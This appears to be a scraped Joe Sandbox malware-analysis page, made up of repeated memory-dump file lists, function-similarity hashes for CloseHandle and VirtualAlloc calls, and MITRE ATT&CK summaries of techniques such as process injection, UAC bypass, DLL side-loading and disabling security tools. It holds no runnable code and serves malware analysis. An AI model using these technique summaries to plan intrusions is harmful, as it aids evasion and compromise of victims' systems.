Associated: 00000003.00000002.2409632736.0000000000E6A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409657613.0000000000E76000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409767934.0000000000FDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409790987.0000000000FDD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409815601.0000000001001000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409861113.0000000001008000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409882220.000000000100B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409903919.0000000001013000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409924887.0000000001014000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409945806.0000000001017000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409966690.000000000101A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409996621.000000000103B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410018439.000000000103E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410038394.000000000103F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410058873.0000000001048000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410085801.000000000106E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410107160.0000000001070000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410128335.0000000001077000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410225378.0000000001078000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410272987.0000000001079000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410315955.000000000107E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410353853.000000000107F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410377130.0000000001083000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410399949.000000000108B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410421348.000000000108C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410441542.000000000108D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410463512.0000000001092000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410490133.000000000109B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410516076.00000000010A3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410543788.00000000010AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410565025.00000000010AD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410592356.00000000010BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410614065.00000000010C0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410653647.0000000001103000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410653647.000000000110B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410702843.000000000111A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410726696.000000000111C000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e60000_JJZGOUTRQA0HU75NUH14KKL5I2.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 1c6f4d288e46b6b213b5ece5c2eadfd807c769e99282c2fac846ffbb14ee0844
Instruction ID: c074230dc75c03736a9fda6ad4991069b2552890d684d8d67ebaa549b5fd6116
Opcode Fuzzy Hash: 1c6f4d288e46b6b213b5ece5c2eadfd807c769e99282c2fac846ffbb14ee0844
Instruction Fuzzy Hash: 90C02BA200228628DD01AFF04C90BAE32208F43130F1084447004C6482C9A00C014625

Function 010191B9 Relevance: 1.4, APIs: 1, Instructions: 141COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE ref: 010191B9

Memory Dump Source

Source File: 00000003.00000002.2409945806.0000000001017000.00000080.00000001.01000000.00000006.sdmp, Offset: 00E60000, based on PE: true

Associated: 00000003.00000002.2409503551.0000000000E60000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409552862.0000000000E62000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409595923.0000000000E66000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409632736.0000000000E6A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409657613.0000000000E76000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409767934.0000000000FDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409790987.0000000000FDD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409815601.0000000000FF3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409815601.0000000001001000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409861113.0000000001008000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409882220.000000000100B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409903919.0000000001013000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409924887.0000000001014000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409966690.000000000101A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409996621.000000000103B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410018439.000000000103E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410038394.000000000103F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410058873.0000000001048000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410085801.000000000106E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410107160.0000000001070000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410128335.0000000001077000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410225378.0000000001078000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410272987.0000000001079000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410315955.000000000107E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410353853.000000000107F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410377130.0000000001083000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410399949.000000000108B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410421348.000000000108C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410441542.000000000108D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410463512.0000000001092000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410490133.000000000109B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410516076.00000000010A3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410543788.00000000010AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410565025.00000000010AD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410592356.00000000010BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410614065.00000000010C0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410653647.0000000001103000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410653647.000000000110B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410702843.000000000111A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410726696.000000000111C000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e60000_JJZGOUTRQA0HU75NUH14KKL5I2.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 738e49942895dead28f3cce86c49fec7bcb1941c2311c9f64ad6643c1c2a15fc
Instruction ID: 9417efae6b747102a598560b64fa510b0320151e3365eb01ae1fdf056a6b02a0
Opcode Fuzzy Hash: 738e49942895dead28f3cce86c49fec7bcb1941c2311c9f64ad6643c1c2a15fc
Instruction Fuzzy Hash: F241E4F250C3109FE7116F18ED846BEF7E8EB88764F55892EEAC093704E635484086A7

Function 0101902D Relevance: 1.4, APIs: 1, Instructions: 130COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE ref: 0101902D

Memory Dump Source

Source File: 00000003.00000002.2409945806.0000000001017000.00000080.00000001.01000000.00000006.sdmp, Offset: 00E60000, based on PE: true

Associated: 00000003.00000002.2409503551.0000000000E60000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409552862.0000000000E62000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409595923.0000000000E66000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409632736.0000000000E6A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409657613.0000000000E76000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409767934.0000000000FDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409790987.0000000000FDD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409815601.0000000000FF3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409815601.0000000001001000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409861113.0000000001008000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409882220.000000000100B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409903919.0000000001013000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409924887.0000000001014000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409966690.000000000101A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409996621.000000000103B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410018439.000000000103E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410038394.000000000103F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410058873.0000000001048000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410085801.000000000106E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410107160.0000000001070000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410128335.0000000001077000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410225378.0000000001078000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410272987.0000000001079000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410315955.000000000107E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410353853.000000000107F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410377130.0000000001083000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410399949.000000000108B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410421348.000000000108C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410441542.000000000108D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410463512.0000000001092000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410490133.000000000109B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410516076.00000000010A3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410543788.00000000010AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410565025.00000000010AD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410592356.00000000010BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410614065.00000000010C0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410653647.0000000001103000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410653647.000000000110B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410702843.000000000111A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410726696.000000000111C000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e60000_JJZGOUTRQA0HU75NUH14KKL5I2.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: c50d34444ba92b8cc45ecccc0bfb305d5c485c301c61d2d2b69ef86cfd1bb313
Instruction ID: fe7de63005c6b49e40adc9010c5c971bca44cd6c13f27ea5251c969001dac1cf
Opcode Fuzzy Hash: c50d34444ba92b8cc45ecccc0bfb305d5c485c301c61d2d2b69ef86cfd1bb313
Instruction Fuzzy Hash: 3C317FF350C210AFE301AF19D990ABAFBF9FBD4360F62882DF6C582604D77549448667

Function 00E6EC00 Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 00E6F634

Memory Dump Source

Source File: 00000003.00000002.2409632736.0000000000E6A000.00000040.00000001.01000000.00000006.sdmp, Offset: 00E60000, based on PE: true

Associated: 00000003.00000002.2409503551.0000000000E60000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409552862.0000000000E62000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409595923.0000000000E66000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409657613.0000000000E76000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409767934.0000000000FDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409790987.0000000000FDD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409815601.0000000000FF3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409815601.0000000001001000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409861113.0000000001008000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409882220.000000000100B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409903919.0000000001013000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409924887.0000000001014000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409945806.0000000001017000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409966690.000000000101A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409996621.000000000103B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410018439.000000000103E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410038394.000000000103F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410058873.0000000001048000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410085801.000000000106E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410107160.0000000001070000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410128335.0000000001077000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410225378.0000000001078000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410272987.0000000001079000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410315955.000000000107E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410353853.000000000107F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410377130.0000000001083000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410399949.000000000108B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410421348.000000000108C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410441542.000000000108D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410463512.0000000001092000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410490133.000000000109B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410516076.00000000010A3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410543788.00000000010AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410565025.00000000010AD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410592356.00000000010BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410614065.00000000010C0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410653647.0000000001103000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410653647.000000000110B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410702843.000000000111A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410726696.000000000111C000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e60000_JJZGOUTRQA0HU75NUH14KKL5I2.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 56bc719cd70a8cdc47e663fc0b314f4d1ebad2a4a607d96ad6ee572bdd320206
Instruction ID: 104ae92e1c78d809b6d626d41887e0f0415b31c1beb6a006ff0c622fc6e7726c
Opcode Fuzzy Hash: 56bc719cd70a8cdc47e663fc0b314f4d1ebad2a4a607d96ad6ee572bdd320206
Instruction Fuzzy Hash: 1FF06D7244C709CFC7042F14A8881BDF7F0FF24721F014A2DE8C692680C7764C50DA46

Function 00E6F21E Relevance: 1.3, APIs: 1, Instructions: 17memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 00E6F426

Memory Dump Source

Source File: 00000003.00000002.2409632736.0000000000E6A000.00000040.00000001.01000000.00000006.sdmp, Offset: 00E60000, based on PE: true

Associated: 00000003.00000002.2409503551.0000000000E60000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409552862.0000000000E62000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409595923.0000000000E66000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409657613.0000000000E76000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409767934.0000000000FDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409790987.0000000000FDD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409815601.0000000000FF3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409815601.0000000001001000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409861113.0000000001008000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409882220.000000000100B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409903919.0000000001013000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409924887.0000000001014000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409945806.0000000001017000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409966690.000000000101A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409996621.000000000103B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410018439.000000000103E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410038394.000000000103F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410058873.0000000001048000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410085801.000000000106E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410107160.0000000001070000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410128335.0000000001077000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410225378.0000000001078000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410272987.0000000001079000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410315955.000000000107E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410353853.000000000107F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410377130.0000000001083000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410399949.000000000108B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410421348.000000000108C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410441542.000000000108D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410463512.0000000001092000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410490133.000000000109B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410516076.00000000010A3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410543788.00000000010AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410565025.00000000010AD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410592356.00000000010BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410614065.00000000010C0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410653647.0000000001103000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410653647.000000000110B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410702843.000000000111A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410726696.000000000111C000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e60000_JJZGOUTRQA0HU75NUH14KKL5I2.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 380443d337f6db0a01c43570207f22452cfcb3585a1249bf79ac03fd6c5d8a25
Instruction ID: ee23237e79b14f16d0f99cfc657dc03b880ede9e4fe6e421f5da3a7c4c3aa33c
Opcode Fuzzy Hash: 380443d337f6db0a01c43570207f22452cfcb3585a1249bf79ac03fd6c5d8a25
Instruction Fuzzy Hash: F8E0E2B900C205DEE701AF64E8457BEBFF0FF14710F11592CEEC186A90E6314860DA86

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

